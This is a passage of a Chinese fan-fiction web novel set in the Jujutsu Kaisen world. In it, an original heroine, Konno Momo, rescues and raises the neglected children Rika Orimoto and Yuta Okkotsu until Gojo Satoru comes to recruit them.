“真没礼貌,一看你就是在做坏事吧。”女生掏了掏耳朵,不屑地说道,“难怪地图上显示你是敌方目标。” 什么? 说着别人听不懂的话语,女生轻巧一跃,从树上跳了下来,落地时连一片落叶都没惊动。男人还未来得及反应,一记手刀已经精准劈在他颈侧,他像截枯木般轰然倒地。 女生拍了拍手上不存在的灰尘,扭头看向发呆的女孩,开口道:“你叫什么名字,这个男人跟你是什么关系?” 女孩猛然回神,一双黑色的瞳孔亮得惊人:“我叫祈本里香,他……他是我的爸爸。” “爸爸啊,那更该死了。”女生嘀咕了一句,“我叫今野桃,嗯……你可以当我是偶然路过这里。” “桃……桃姐姐!”祈本里香咀嚼了一下这个名字,一步一步地挪向她,紧紧攥住了她的衣角,“桃姐姐,我的爸爸,他要把我献祭给一个邪神!他是个坏人!” 今野桃看了一下那块被切割下来的咒灵肉块,忍不住啧了一声。 “胆子可真大啊。”她摇摇头,“这种东西都敢往嘴巴里放。这玩意儿吃了,可不只是死掉那么简单。” 祈本里香似懂非懂地贴着她,两人差了大概十来公分,她悄悄往上看,能看见桃姐姐平静的目光。 今野桃掏出了一把小刀,狠狠戳进咒灵的肉块,没多久,它就消散在了空气中。 恰巧在这个时候,男人醒过来了,他看见碗里只剩下黑色的雾气,发出了痛苦的嚎叫。 “不——!”他跪在地上,扑向空碗的模样活像条丧家之犬,他又试图伸手去抓,显然什么也不会抓住。男人侧过头,布满血丝的眼睛恶狠狠地盯着她们,“去死!你们去死!你们竟然毁掉了我唯一的希望!!” 今野桃嗤了一声,漫不经心地拾起块鹅卵石,五指收拢。石粉从她指缝簌簌落下时,男人的咒骂戛然而止。 “要来试试看吗?”她冷漠地说道,“这一次我可就不会手下留情了。” 男人的脸皮抽了抽,他踉踉跄跄地站起来,捧着碗呢喃:“还有办法,一定还有办法……” 他的影子变得扭曲,似有若无的黑色怨灵在他的身上闪现,他跌跌撞撞地跑进了树林里,很快就主动和另一个敌方目标重合了。 今野桃的目光闪了闪,低头对祈本里香说道:“你在这里等等我,我离开一下。” 祈本里香条件反射地把她的衣服揪得更紧了,她沉默几秒,怯怯地问道:“你还会回来吗?” 她故意露出泫然欲泣的模样,眼睛要红不红的。 她知道,自己这个表情看起来最可怜了,从前她只要这样做,不管是爸爸妈妈,还是邻居的阿姨叔叔,都不会拒绝自己。 今野桃摸了摸她的脑袋,承诺道:“会回来的,我很快就回来。” 祈本里香抿了抿唇,松开了她。 “好,我会在这里乖乖等你的。” 她看着女生的背影没入林子,整个人蜷缩在大树的脚下,眼睛盯着树根的小石子。 一,二,三…… 会回来的吧?如果不会,那她…… 祈本里香的眼睛里流露出了一丝迷茫,她如今就是失去了巢穴的小鸟,广袤的天地于她而言不是自由,而是危险。 她迫不及待地想要找到一棵可供她攀附、藏身的安全区域。 奶奶的身影在她的大脑中一闪而过,但很快又被她打散。 妈妈去世了,爸爸被邪神引诱,看起来也活不了了,奶奶会愿意养育她、保护她吗? 祈本里香不太确定。 奶奶向来是不喜欢她的。 树根的小石子还没数完,窸 窸窣窣的声音响起。她抬头,看见女生拍打着袖子走了出来。 “桃姐姐!”她高兴地喊道。 今野桃抬眼,对她颔首:“解决了,我们走吧。” “好……”不知道是不是因为站起来的时候速度太快,祈本里香的身体晃了晃,紧接着就往前栽倒。 今野桃接住了她,五六岁的女孩轻飘飘得像片树叶,手腕细得一折就会断的样子,脸颊上都没有肉。 今野桃皱了皱眉,将她抱起来,下山后直奔最近的医院。 医生给她做了个检查,告诉她,祈本里香有非常严重的营养不良。 “你是她什么人?”医生一边在纸上开单子,一边问道。 “姐姐,我是她的姐姐。”今野桃面不改色地回答,“我们的爸爸妈妈在外地工作,家里只有我们两个。” 因为是小诊所,医生也就睁一只眼闭一只眼了。 拿了药,今野桃抱着她去隔间里等待打点滴。护士看见两个小女孩,心中略有些怜悯,打针的时候越发仔细。 她拍打着祈本里香的手背,叹气道:“连血管都看不清楚了。” 酒精棉球擦过皮肤,冰凉的液体从软管进入身体,让女孩难以自制地抖了抖,今野桃把她往怀里揽了揽,一只手轻轻盖在她的手指上,另一只手握住管子。 女孩躺在她的大腿上,呼吸慢慢变得平稳。 就在今野桃闭目养神时,她察觉到了一束目光落在自己身上。她睁开眼,对上了一双好奇又怯懦的眼睛。 身形单薄的男孩的手上同样插着点滴的针头,他趴在门框上,只露出半边身体。 见她回望过来,他的第一反应是往后缩。 今野桃对他笑了笑,没太在意似的低下头,用指尖拨开女孩唇边的乱发。 她低垂着眼睑,睫毛在眼下投下扇形的阴影,眸光如春水般温柔。 男孩一时间看得呆住了。 180-190 第181章 医院是什么样子的? 惨白明亮的灯光带着刺骨的寒冷,消毒水的气味顽固地附着在每一个角落,混合着隐约的药味,偶尔出现的孩子的哭声里间杂着大人的叱骂。 乙骨忧太坐在小小的隔间里,皮肤隐约泛起淡青色,手背上插着冰冷的针头,针头连着透明的软管,药液一滴、一滴落下,在寂静中发出微不可闻的声响。 走廊上脚步声来来往往,每一次经过门前都会让他的心悬起。是爸爸妈妈来了吗?他盯着门把手,直到眼睛发酸。 嘟嘟嘟。 敲门声突然响起。乙骨忧太猛地抬头,眼睛亮了起来。 然而门开了,他刚想开口喊出爸爸妈妈,却看见探头进来的是那个陌生的小姐姐。 是因为他刚刚偷看她们,所以她生气了,要过来责备他吗? 乙骨忧太瑟缩地低下了头。 “抱歉……” “啊,真幸运,没找错地方呢。”女生松了一口气,嘴角扬起温柔的弧度,她的声音像夏日里清澈的小溪,汩汩流淌着,“你好,我叫今野桃,能不能麻烦你一件事?” 乙骨忧太眨了眨眼。拜托……他?这个认知让他不自觉地挺直了背脊。 “请、请说吧!”他大力点头,针头处的皮肤因为动作牵出一点刺痛,“只要是我能做到的!” 今野桃的眼睛弯成了月牙。 “是这样的,我的妹妹刚刚打完点滴,但现在还没醒,能不能麻烦你去她的病房里,看护一下她?我去买点吃的回来,很快的,大概五六分钟就好。” 她的语速不紧不慢,乙骨忧太感觉胸口有什么东西在膨胀,让他想要立刻证明自己。 “好的!”他几乎是跳下了椅子,非常郑重地说道,“请交给我吧!” 今野桃轻笑出声,伸手拎起他的吊瓶。她的手指温暖干燥,轻轻握住他冰凉的小手时,乙骨忧太觉得连手背上的疼痛都减轻了许多。 两间病房的间隔距离并不远,走了几步就到了。推开门,乙骨忧太看见一个和他年纪相仿的女孩正安静地睡着。阳光透过窗户的玻璃落在她脸上,睫毛在眼下投下细小的阴影。她的呼吸均匀而绵长,像是做了什么美梦。 今野桃把他的吊瓶稳稳挂在了架子上,双手合十,对他比了个wink:“那么,就拜托你了。” 乙骨忧太端坐在椅子上,双手规规矩矩地放在膝盖上面,表情认真:“好。” 就在关门声响起、脚步声越来越远后,他忽然看见床上的女孩子悄悄睁开了一只眼睛。 “你……”乙骨忧太惊讶得差点从椅子上跳起来。 “嘘!”女孩竖起手指,让他安静。 乙骨忧太立刻捂住嘴,压低声音:“你刚刚是在装睡吗?” 女孩没有回答,而是用审视的目光将他从头到脚打量了一遍。她的视线像把小刷子,扫过他洗得发白的衣领、磨破的袖口,最后落在他瘦削的手腕上。半晌,她才露出一个甜美的笑容:“是啦,我刚刚是在装睡。诶对了,你叫什么名字?” 乙骨忧太乖巧地回答:“乙骨忧太。” “忧太啊……”女孩很是自然地喊着他的名字,“我叫祈本里香。” 祈本里香?等等,她们不是姐妹吗?怎么姓氏不一样呢? 疑问在他的大脑里转了一圈,但他没有问出口。 “里香,你、你不要害怕,你姐姐很快就回来了。”他笨拙地安慰道,“她去买吃的了。” “我知道。”祈本里香小声嘟囔,“她跟我说了。” 乙骨忧太没有听清,以为她在抱怨,于是露出了一个傻傻的笑容。 这个笑容太过纯粹,祈本里香见了,原本还存有一点点的不高兴彻底消散,她瞪了男孩一眼,随后又忍不住跟着笑了起来。 刚刚护士来拔针的时候,她听到了桃姐姐和护士之间的对话。 “隔壁那个小男孩?哦,你是说忧太啊。”护士手脚麻利地用镊子扯出一小团棉花,按在女孩的手背上,“他确实是一个人在这里,他的爸爸妈妈都不太管他的,家里还有一个妹妹要照顾。” “他看起来怪可怜的……” “没办法,毕竟大人都要上班嘛。”护士为两个不负责任的父母开脱着,“忧太身体不太好,经常生病,开销大。” “原来如此……所以这就是不给孩子吃晚饭的原因吗?” “……唉,兴许是忘了吧……” 送走了护士,桃姐姐低头对虽然醒了但赖在身上不愿起来的她说:“里香,你这两天就在医院里好好休息。” “好。”祈本里香听话地答应了。 桃姐姐摸了摸她的脸颊,开口道:“你饿了吗?我去给你买晚饭,顺便给那个男孩也带一份。” 祈本里香是不太愿意的,好不容易得到的关爱,还没焐热,怎么就要分给别人了呢? 但她又担心自己拒绝后,桃姐姐会觉得她自私,于是她眼珠一转,装模作样地说道:“那他万一拒绝怎么办?说不定他会更想等爸爸妈妈来送饭呢。” “所以就要拜托里香来帮助我一下了。”桃姐姐对她眨眨眼睛,“好不好?” 祈本里香哪里还能拒绝,只好噘着嘴巴同意了。 现在看来,他和她也差不多,有没有父母都一样。 “你……”她刚想说什么,轻快的脚步声又越来越近了,她瞬间像只受惊的兔子,一下缩回了被子里。 乙骨忧太回头,看见今野桃拎着两个袋子过来,食物的香气立刻充满了整个房间。她抬眼望了一下吊瓶,转身走出病房。很快,护士就跟着她走进来了。 “我还说呢,在隔壁没看见你,原来是到这里来了。”护士一边给乙骨忧太拔针,一边笑着说,“是来找小朋友玩的吗?” “啊……”乙骨忧太讷讷地低下了头。 今野桃轻轻拍了拍他的肩膀,对护士笑道:“是我去给妹妹买饭,麻烦他帮我看着一下。对了,我买的稍微有点多了,您要一起吃 吗?” 护士赶忙摆摆手:“不用不用,你们吃。” 送走了护士,今野桃回头,望向乙骨忧太,无奈地说道:“你吃了晚饭吗?要不然你跟我们一起吃点吧?” “不用……”乙骨忧太的话没说完,肚子发出了一串咕噜的声音。他的脸颊瞬间羞红,目光躲闪起来。 “一起吃吧。”今野桃不容拒绝地把袋子放在桌上,“厚蛋烧吃吗?” 乙骨忧太支支吾吾半天,用细若蚊蚋的声音说道:“吃。”。 樱花如粉色的云朵点缀在枝头,公园里弥漫着春天特有的芬芳气息。祈本里香蹲在沙坑里,专注地用她的红色铲子堆砌着属于自己的城堡,棕色的长发随着她的动作晃晃悠悠,刘海上别着一个草莓夹子。 而就在她的旁边,和她同龄的男孩也在挖着沙子,手上同样是一把红色的铲子。 距离他们大概四五米的地方,还有一伙小孩子在玩沙。两边泾渭分明,谁也不搭理谁。 只不过从另一伙小孩时不时飘来的眼神看,显然他们更加在意。 两个小孩自成一片天地,完全沉浸在自己的世界里。 “要再加上一点花纹吗……” “这个屋顶要再高一点吧……” 乙骨忧太小心翼翼地堆砌着沙塔,生怕一个不小心就毁了里香精心设计的城堡。两人的脑袋互相顶着,身后的影子交叠在一起,全然一副关系很好的样子。 另一伙的小孩嘀咕道:“乙骨忧太果然是个娘娘腔,和女孩子玩得那么开心。” “就是,难怪他爸爸妈妈不喜欢他。” 这些小孩的声音很小,似乎害怕被乙骨和祈本听见。 他们两人倒没什么可怕的,但他们身后还站着一个非常恐怖的人…… 在不经意的一个抬头间,祈本里香丢下了铲子。 “桃姐姐!” 她欢呼一声,像只欢快的小鸟般飞奔向沙坑边缘,扑了上去。 今野桃踩着落下的花瓣,手里举着两个冰淇淋,朝他们走来。 “里香,忧太。”她把冰淇淋递给女孩,顺手揉了一把她的头顶,“玩得开心吗?该回家了。” “嗯嗯,很开心呢!”祈本里香一边舔着冰淇淋,一边含糊地回答。 “谢谢桃姐姐。”乙骨忧太不好意思地抿出一个笑,接过冰淇淋小口小口地吃起来。甜腻的奶油在舌尖化开,让他不自觉地眯起眼睛。 “不客气呀。”今野桃给两人拍了拍身上的沙子,随口问道:“要去和那些小朋友道别吗?” “不要,我又不认识他们。”祈本香立刻皱起鼻子,紧紧攥住今野桃的手指,“我有忧太和姐姐就行了,对吧,忧太?” 说着,她用力拽了拽忧太的衣角。 乙骨忧太正忙着吃冰淇淋,闻言表情茫然地抬头:“啊,对、对……” 祈本里香恨铁不成钢似的瞪了他一眼,偷偷用胳膊肘狠狠捅了捅不懂事的男孩子。 吃吃吃,就知道吃! 今野桃失笑,左边牵一个,右边牵一个,朝着自己家里走去。 第182章 这本该是非常美好的一副场景。 春日的校园里,粉白的樱花瓣随风飘舞,像一场温柔的雪。阳光透过花瓣的间隙,在石板路上投下斑驳的光影。 树下,身材瘦高的男生,制服领带系得一丝不苟,手里紧攥着一封雪白的信笺。他的耳尖通红,手指不自觉地摩挲着信封边缘,最终还是将这满怀爱意的信笺递了出去。 女生显然也早已预料到了这个情节,她的表情平静得近乎疏离,嘴角却挂着恰到好处的微笑。薄唇轻启间,男生眼中的光彩渐渐黯淡下去。 是拒绝了吗? 男生的眼眶泛起湿意。但他还是努力扬起嘴角,露出一个比哭还难看的笑容。女生见状轻叹一声,终于伸手接过那封信。 男生的顿时破涕为笑,对女生深深地鞠了个躬。 两人简单地交谈了几句,随后才转身离开。 “啊,这都是这个月第几个被拒绝的男生了?”围观的人站在楼上的走道朝外面望去,“真是不死心啊他们。” “没办法咯,还有半个多月就要毕业了,到那时就再也见不到我们‘仙台の玫瑰’了,不趁这个时候表白,搞不好就再也没有机会了。” “也对,万一狗屎运就降临在我身上呢,哈哈……” 调侃的语气令听见的女孩非常不适,她的眉毛拧成一团,怒气隐含在眉眼间。 “喂,你们在说什么呢。”她张口呵斥道,“什么‘仙台の玫瑰’!不要乱说!” 俗气!她的桃姐姐才不是什么玫瑰! “哦对对对,还忘了我们的里香,要说美貌的话,里香也不输给今野学姐啊。” 祈本里香都快气死了,这群臭男生,嘴巴可真臭! 她深吸了一口气,故作惊讶地瞪大了眼睛,纤长的睫毛像蝶翼般轻颤:“原来在大岛同学和吉纲同学心里,女孩子是可以用来比较的吗?” 窃窃私语立刻在人群中蔓延。旁边的几个女生投来鄙夷的目光,男生们也露出玩味的表情。被点名的男生脸色由红转白,额角渗出细密的汗珠。 “呃,我们不是这个意思……” “大岛同学和吉纲同学该不会也想向今野学姐表白吧?”祈本里香抿嘴一笑,“我上次看见你们偷偷给今野学姐写情书了,写得不错哦。” 说完,她后悔地捂住了嘴巴:“ 哎呀,不好意思,这是可以说的吗?” 走廊瞬间炸开哄笑,大家都或生气或讥诮地看向了那两人。 他们挑剔地打量了一番,随后不屑地转过了头。这种轻蔑和无言的嘲笑让两人尴尬又难堪。 他们落荒而逃,制服后襟都被汗水浸湿了一片,狼狈不堪的样子惹人发笑。 但祈本里香并没有觉得开心,她强忍着怒火,一边勉强扯出笑容来应对周围的同学,一边踩着重重的脚步回到了教室。 教室里,她的那个笨蛋幼驯染还在看书。 祈本里香大步流星地走过去,一把扣住了他的课本。 “还看呢!”她压低了声音说道,“你这个大笨蛋!” “诶?”乙骨忧太迷惑地抬头,好脾气地问道,“又怎么啦,里香?” “怎么了,桃姐姐都要谈恋爱了,你一点都不着急吗?”祈本里香怒瞪他。 乙骨忧太挠了挠头:“为什么着急?桃姐姐谈恋爱难道不好吗?” “好什么呀。”祈本里香猛地凑近,小声说道,“如果桃姐姐谈了恋爱,那我们就无家可归了啊!” 乙骨忧太骤然僵住。 “你没见过吗?因为另一半不同意,所以结婚以后把宠物丢出去的事情!”祈本里香愤愤地揪住了乙骨的脸颊,“到时候我们被赶走了怎么办啊!难道你想回去吗?” 回到那个根本没有自己位置的“家”去吗? 祈本里香的手指深深地地掐进掌心,记忆像潮水般涌来,带着腐朽的气息。 那栋永远昏暗的老宅,榻榻米上霉斑蔓延,空气里飘着药味和老人身上特有的酸臭。奶奶枯瘦的手指像鹰爪一样钳住她的肩膀,浑浊的眼珠里翻涌着憎恨。 ‘就是你害死了你的爸爸妈妈,你怎么好意思活下去!’ ‘早知道当初就该把你溺死!你这个贱人!’ 祈本里香的嘴角抽动了一下,眼底闪过一丝阴翳,表情变得阴狠而扭曲。 乙骨忧太的目光在半空中飘忽不定,他想起自己回家时,父母惊讶的神情。 ‘啊,忧太回来了……’母亲的声音从厨房传来,带着一丝尴尬的惊讶。她匆匆擦了擦手,眼神躲闪着,‘抱歉,忧太,我们不知道你要回家吃饭,所以没有做你的那份……’ ‘哥哥吃我的这份吧!’妹妹懂事地把自己的碗推了过来,‘好久没看见哥哥了……’ ‘不用,你自己吃。’父亲打断了她,语气不容置疑。他转向忧太,从钱包里抽出几张纸币,‘忧太,我给你些钱,你去外面买点吃的吧,别饿着了。’ 乙骨忧太站在家门口,感觉自己像是误入的陌生人。他的喉咙发紧,扯出一个干巴巴的笑:‘不用了,爸爸、妈妈,还有妹妹,我就是忘了点东西,过来拿一下。桃姐姐和里香在等我吃饭。’ ‘这样啊,既然是小桃家的话,那我们就放心了。’母亲的表情明显松弛下来,甚至露出一点欣慰,‘在别人家里要听话哦,忧太。’ ‘……嗯。’ 关上门离开的时候,他隐约听见里面的对话。 ‘虽然不太好,但忧太不在家里的话,感觉家里都“干净”了很多……’ ‘你说,今野和祈本家的那个,是不是也可以看见……’ ‘好了,快吃饭吧。’ 碍于妹妹还在家,大人的对话简短又快速地结束了。 乙骨忧太忘记自己是怎么离开的,夕阳的余晖照在身上没有一点暖意,风像刀割一般划过他的脸颊,顺着骨头缝一路没进血肉。 他独自在街头徘徊,茫然不知该何去何从。 幸好双腿似乎有自己的想法,最终带着他回到了今野宅。 远远地,他在黑夜里看见了一点光明。漆黑的夜色里,那扇门缝里漏出暖黄的光,像深海里的灯塔。 他的脚步越来越快,当他冲到了门前,从口袋里掏出钥匙想要打开门时,门自己开了。 里香探出头,没好气地说道:“你好慢啊,忧太,我们等你好久了。” 食物的香气瞬间直冲鼻子,把他整个人都熏得懵住了,大脑好久都没转过来。 ‘晚餐有你喜欢的麻油盐蘸卷心菜哦。’托着烤盘的桃姐姐从厨房走进客厅,朝他招了招手,‘甜品是蛋挞,喜欢吗?’ ‘喜、喜欢……’乙骨忧太恍惚地走进屋子,像是走进了一场美梦。 现在,美梦要醒了吗? “不可以!”他脱口而出,“我不想回去!” 祈本里香满意地点头。她意味深长地拍了拍乙骨忧太的脑袋:“忧太啊,我们的未来,可就靠你了哦。” “那……那我该怎么做?”乙骨忧太用怯懦的语气说道,“怎样才能留住桃姐姐呢?把她身边的男生都赶跑吗?” “赶跑有什么用啦,”祈本里香站直了身体,垂着头看他,黑色的发丝落下,挡住了她的半张脸,下巴处的小痣在阴影中若隐若现,“我们要想办法,永远和桃姐姐在一起呀。”。 吱—— 汽车的急刹声太过刺耳,像刀一样划破了宁静的氛围。众人回过头,看见马路上,一个女孩子惊魂未定地倒在斑马线上,被另一个更大一点的女孩抱在怀里。 一辆小车歪歪斜斜地撞在了墙上,与她们不过咫尺距离。 “桃姐姐……我、我……”祈本里香的话都说不清楚了,她恐惧地钻进唯一能给她安全感的怀抱之中,浑身颤抖个不停。 “没事了,里香,不要怕。”今野桃轻轻拍打着她的后背,柔声说道,“我说过了,我会保护好你的。” 祈本里香胡乱地点头,眼泪很快就浸湿了她胸前的布料。 车门被猛地推开,一个满脸横肉的男人踉跄着爬出来。他的眼神慌乱地扫视四周,在看到两个女孩的瞬间明显瑟缩了一下,随即转身就要逃跑。 砰! 突然,一个书包从他的身后飞来,正中他的后脑勺,直接将他打晕了过去。 “做得好,忧太。”今野桃对来人颔首道。 乙骨忧太羞涩地笑了笑,用绳子将司机捆了起来。 警察很快赶到,处理起了这场看似是“意外”的交通事故。 “不是意外!”祈本里香面色苍白,“我、我最近一直感觉有人跟踪我!” “你能确定是这个司机在跟踪你吗?有什么证据吗?” “不能,但是我……” “好了,说不定是错觉呢。”警察不耐烦地翻动着记录本,敷衍地回道,“小孩子不要太敏感了。” 祈本里香哑然。 今野桃捏了捏她的手,突然上前一步,目光直直盯着警察的胸牌。对方被她看得浑身不自在,皱眉道:“你在干什么?” “记一下你的警号。”今野桃微笑道,“别太敏感了,警察先生。” 空气凝固了一秒。 警察表情僵硬,祈本里香没忍住,噗地一声笑了出来,她软软地贴在了今野桃的身上,小声说道:“算了,桃姐姐,我想回家。” “行,那我们就回去吧。” 本就是受害者,再加上未成年的身份,三个小孩很快就被允许离开。 明明遭遇了车祸,差点死掉,但祈本里香的奶奶却连一通电话都不肯好好接听,听到孙女的名字就挂断了。 “明明桃姐姐和忧太在知道我被人跟踪后,都非常积极地保护我。结果奶奶却……”她抽泣着,眼泪凝聚在睫毛上。 看着里香可怜的模样,今野桃心中叹气。 “今晚我们就吃大餐吧,里香想吃什么吗?”今野桃摸了摸她的脸颊,“随便许什么愿望都可以哦!” 祈本里香伸出手,搂住了她的脖子,用无辜又单纯的表情说道:“我今天晚上想和大家一起睡觉,可以吗?” “哎呀,里香是在撒娇吗?那好吧,今晚里香就和我一起睡吧。”今野桃回抱住她说道。 “还有忧太!”祈本里香眨了眨眼睛,“不能落下忧太呀!” 今野桃愣住,回头看见乙骨忧太嗫嚅的模样。他的眼睛又黑又圆,在灯光下泛着湿漉漉的光,手指不安地绞着衣角,像只等待被捡回家的流浪狗。 “那……那也行吧。” 反正都是小孩子,应该……没关系吧? 第183章 今野桃初中升高中的那一年,两个小孩初二。祈本里香出车祸,担心里香的今野桃和乙骨忧太为了安慰她,晚上睡在了一张床上。 今野桃高一的那一年,两个小孩初中升高中,乙骨忧太压力过大,突发抑郁,担心他的今野桃和祈本里香为了安慰他,晚上睡在了一张床上。 今野桃高二的那一年,两个小孩高一,因为太过漂亮、性格软弱,祈本里香和乙骨忧太遭遇了校园霸凌。狠狠清理了一遍校园后,担心他们两人的今野桃为了安慰他们,晚上睡在了一张床上。 …… “桃姐姐,我已经把床铺好了,快来呀!”里香拍了拍床中央特意留出的位置,笑容甜美得可疑。她穿着印有水蜜桃图案的睡衣,发梢还带着沐浴后的湿气。 乙骨忧太红着脸,往旁边挪了挪,小声说道:“已、已经暖好了,不会冷的。” 今野桃眨了眨眼睛,脸上闪过一丝迷茫。 不是,他们为什么这么熟练啊?是不是哪里有问题? 她看向祈本里香:“我记得你的房间在隔壁?” 没有里香带着,忧太不会这么大胆子。 祈本里香伸出两根手指对在一起,睫毛扑闪,委屈地问道:“我们不能一起睡觉吗?我怕黑……” 被子下传来轻微的动静,不用看也知道,她肯定在踢忧太的小腿。果然,忧太立刻配合地抬起脸。那双湿漉漉的狗狗眼在暖色灯光下显得格外可怜,眼角微微下垂,像只被雨淋湿的小狗,带着无辜和可怜:“桃姐姐……” 沉默良久,今野桃耷拉下肩膀。 “真是的,都这么大的人了,怕黑是什么糟糕的借口啊……”她嘀咕着,在两人期待的目光里躺了下去。 蓬松柔软的被子带着一股晒过的气息,让人想起了冬日午后的阳光,油然生出一股轻飘飘的睡意。 今野桃刚放松下来,两侧就同时传来动静——里香像八爪鱼一样缠上她的手臂,而忧太则小心翼翼地靠过来,额头轻轻靠在她的肩膀上。 等、等等……这很不对吧! “忧太,你怎么变得这么高了?”今野桃困惑地问道。 身高已经突破一米七五的男生在试图把自己塞进姐姐的怀抱里,闻言抬起头,在被窝里拱得乱七八糟的头发东一簇西一簇,鸟窝似的。 “不知道。”他老老实实地回道,“也没有很高吧。” 没、有、很、高?他一个猛虎下山的话,可以把她完全压住诶! 今野桃无奈又好笑,想推开他,又担心他会伤心。 难道是因为心理上一直有可依赖的对象,所以就算身体已经成熟,但仍然是个没长大的小孩吗?但这样不太好吧?毕竟都已经是个高中生了…… 思绪被突如其来的重量打断,左侧传来温暖的触感,里香像只慵懒的猫般贴了上来。她纤细的手臂环住今野桃的脖颈,柔软的胸脯紧贴着臂膀,发间若有似无的香气瞬间冲散了她所有的思考。 “不要只看那个笨蛋啦,看看我嘛,桃姐姐。”她拉长了声音撒娇,用鼻尖轻蹭她的耳垂,“我今天换了新的洗发水哦,要不要闻闻看?” “不用……” 话音未落,里香已经得寸进尺地把脸埋进她的颈窝:“闻闻嘛闻闻嘛,如果桃姐姐不喜欢的话,我就把它换掉。” 她撒娇时总爱用这种黏糊糊的语调,尾音粘连在一起,像粘稠又甜滋滋的蜂蜜。 今野桃被拱得向后仰去,后背恰好撞进一个温暖的怀抱。她浑然不觉自己正被两人前后夹击,只是无奈地叹了口气。 “好好好,你别乱动……”今野桃拿她没办法,都是女孩子,闻一下就闻一下咯。 她低头,撩起女孩的一缕发丝,轻轻嗅了嗅。 是桃子香味的,不浓不淡,只有靠近了才能闻得清楚。 “不错,我挺喜欢的。”今野桃半是认真半是敷衍地回答,“不用换。” “那我呢?”带着热度的吐息突然拂过后颈,今野桃这才惊觉自己几乎被忧太圈在怀里。他毛茸茸的脑袋抵在肩头,有些硬的发茬蹭得皮肤发痒,“也闻闻我的吧。” 今野桃无奈,侧过头,吸了吸鼻子,疑惑地说道:“你和里香的味道不是一样的吗?” 都是桃子味的洗发水。 “嘻嘻,被桃姐姐发现了。”祈本里香勾住她的脖子,得逞般地笑起来,手指绕着今野桃的一缕黑发打转,“本来我是想买橙子味的,但觉得桃姐姐或许会更喜欢桃子味,所以就都买了这个味道。” “这种小事……”今野桃失笑道,“不管是什么味道,我都喜欢。” “真的吗,我也喜欢桃姐姐。”祈本里香用柔嫩又光滑的脸蛋蹭了蹭她的下巴,笑得眯起了眼睛。 乙骨忧太用几不可闻的声音在她耳边咕哝,湿热的呼吸喷洒在她的耳廓上,唇瓣似有若无地擦过:“我、我也喜欢……” 暖流在胸腔扩散,今野桃握着里香肩膀的手紧了紧。 这么多年,没白养啊! “好了好了,快睡觉吧,明天还要上课呢……”她被夹在中间有点难受,试图翻身,却忽然发现自己动弹不得。 嗯?等下,里香的手抱在她的脖子上,那她腰上的手是谁的? 灼热的触感从腰际传来,穿透单薄的睡衣布料,像烙铁般印在皮肤上。盖得严严实实的被子里,温度在不断升高,细密的汗珠从额头、颈后、背上渗出,很快将睡衣打湿。 察觉到了她挣扎的意图,那双手下意识地更加用力。 “忧太,你……” “桃姐姐不要管他啦,看看我嘛。我不是桃姐姐最喜欢的小孩了吗?” 甜腻的嗓音带着刻意为之的委屈,里香的撒娇有点不合时宜了,她的腰肢轻轻晃动,像菟丝子一样缠绕着她,让她无法分神。 “好好好,看你看你。” 女孩的小腿也夹了上来,不轻不重地压住了她的。今野桃能察觉女孩光滑的小腿正压在自己膝上,而身后传来少年骨节分明的膝盖正抵住她的腿弯,三人密不可分地纠缠在一起。 这算什么?三明治? 今野桃又好气又好笑:“多少给我点活动空间吧?” 两个小孩眼睛一闭,装作没听见。 唉,算了,反正冬天的话,挤一挤就挤一挤吧。 冬夜寒气被彻底隔绝在外,三人交叠的体温烘得被窝如同暖炉。她妥协般搂住里香的肩膀,身后传来忧太规律的心跳声。在这令人安心的包围中,困意渐渐袭来。 在她的呼吸逐渐变得和缓后,祈本里香和乙骨忧太睁开了眼睛。他们对视了一眼,交换了某种信息,又很快合上。 三只手叠在了一起,手指交缠,仿佛定下了什么心照不宣的约定—— 他们是家人,就是要永远在一起的…… “就算是被霸凌了,这种报复也有点过头了哦,那些人都只剩下一口气了。这件事,是你做的吗?” 轻佻的声线里藏着锐利的审视。乙骨忧太感到一阵窒息——面前这个戴着眼罩的男人明明挂着玩世不恭的笑容,散发出的压迫感却让周围的空气都变得粘稠。冷汗顺着少年绷紧的下颌线滑落,但他死咬着不肯松口。 “就是我……他们欺负我,我报复回去,有什么不对!”乙骨忧太的脸色苍白,嘴唇都失去了血色。 “倒也没什么不对啦,虽然你看起来弱弱的,不像是做这种事的人。”没个正形的无良教师摸了摸鼻子,“但你能看见这个,对吧?” 一只蝇头直直地冲向了乙骨忧太的面门,他下意识地侧过头躲避。 “哼哼,果然呢。”五条悟高兴地说道,张开双手,“你是叫忧太对吧,想跟我去高专吗?那是一所专门学习咒术的学校,可以帮助你控制身体里的那股特殊力量。” “不用了。”乙骨忧太想都没想地回道。 空气凝固了一秒,五条悟顿时化作一座裂开的石像,难以置信地指着自己对旁边的辅助监督说道:“伊地知,我居然被拒绝了!” 伊地知洁高干笑着没说话。 被拒绝难道不是意料之中的事情吗? “不行,我非得把这家伙绑回去不可!”他装模作样地撸起了袖子,“休想逃脱超级大帅哥五条老师的魔掌!” 乙骨忧太吓得后退了两步。 伊地知捂脸,明明是担心这孩子在学校里因为被霸凌过得不好,所以急匆匆地跑来想要把人带走,但五条前辈做出来的举动怎么看怎么更像是反派啊…… “桀桀桀!被我抓住了吧!”五条悟把乙骨忧太的双手反剪,压着他的后背。 少年大力挣扎,差点挣脱出去。 嘶,力气还挺大,咒力也相当浓郁,会是个好苗子呢。 五条悟在他身后露出了满意的笑容。 “放开忧太!”尖利的声音响起,一个女生冲了过来,愤怒的火焰如有实质地出现在她的身上,连同空气都似乎变得沸腾起来,“混蛋!” 五条悟瞪大了眼睛。 “哇哦!”他兴奋地对伊地知说道,“抢一送一!今天是什么好日子!” “可、可能吧……”伊地知擦着汗回答。 但不知道为什么,突然有一种很不安的感觉…… 他看着五条悟抬手把女生“吸”了过来,像玩具一样上下抛动,惹来对方惊恐又愤怒的叱骂。 “混蛋!你等着,我姐姐一定不会放过你的!” “什么?你有一个姐姐?”五条悟用另一只手掏了掏耳朵,夸张地大叫,“还有这种好事?大丰收诶!” 祈本里香飘在半空,她哆哆嗦嗦地掏出了手机,哇地一声哭了起来:“桃姐姐——” 第184章 五条悟抱着手臂,歪着头,银白的发丝在阳光下闪着细碎的光:“你姐姐叫小桃呀?真 是个可爱的名字。对了,忘记问你叫什么?” 祁本里香红着眼圈,用力抹了把眼泪,没有回答他,而是非常大声地说道:“你等着,等我姐姐来了,一定会狠狠收拾你!” 五条悟摸了摸下巴,若有所思:“所以教训了那些小混混的人,不是忧太,而是那位小桃咯?” “是我!”被踩在脚下的乙骨忧太突然剧烈挣扎起来,身上都是挣扎时候弄出来的细小伤口,“和桃姐姐无关!” “真伤脑筋。”五条悟忽然有点不爽,“我没打算追究你们之前事情的责任啊,我是来帮助你们的诶,搞得好像我是坏人一样。” 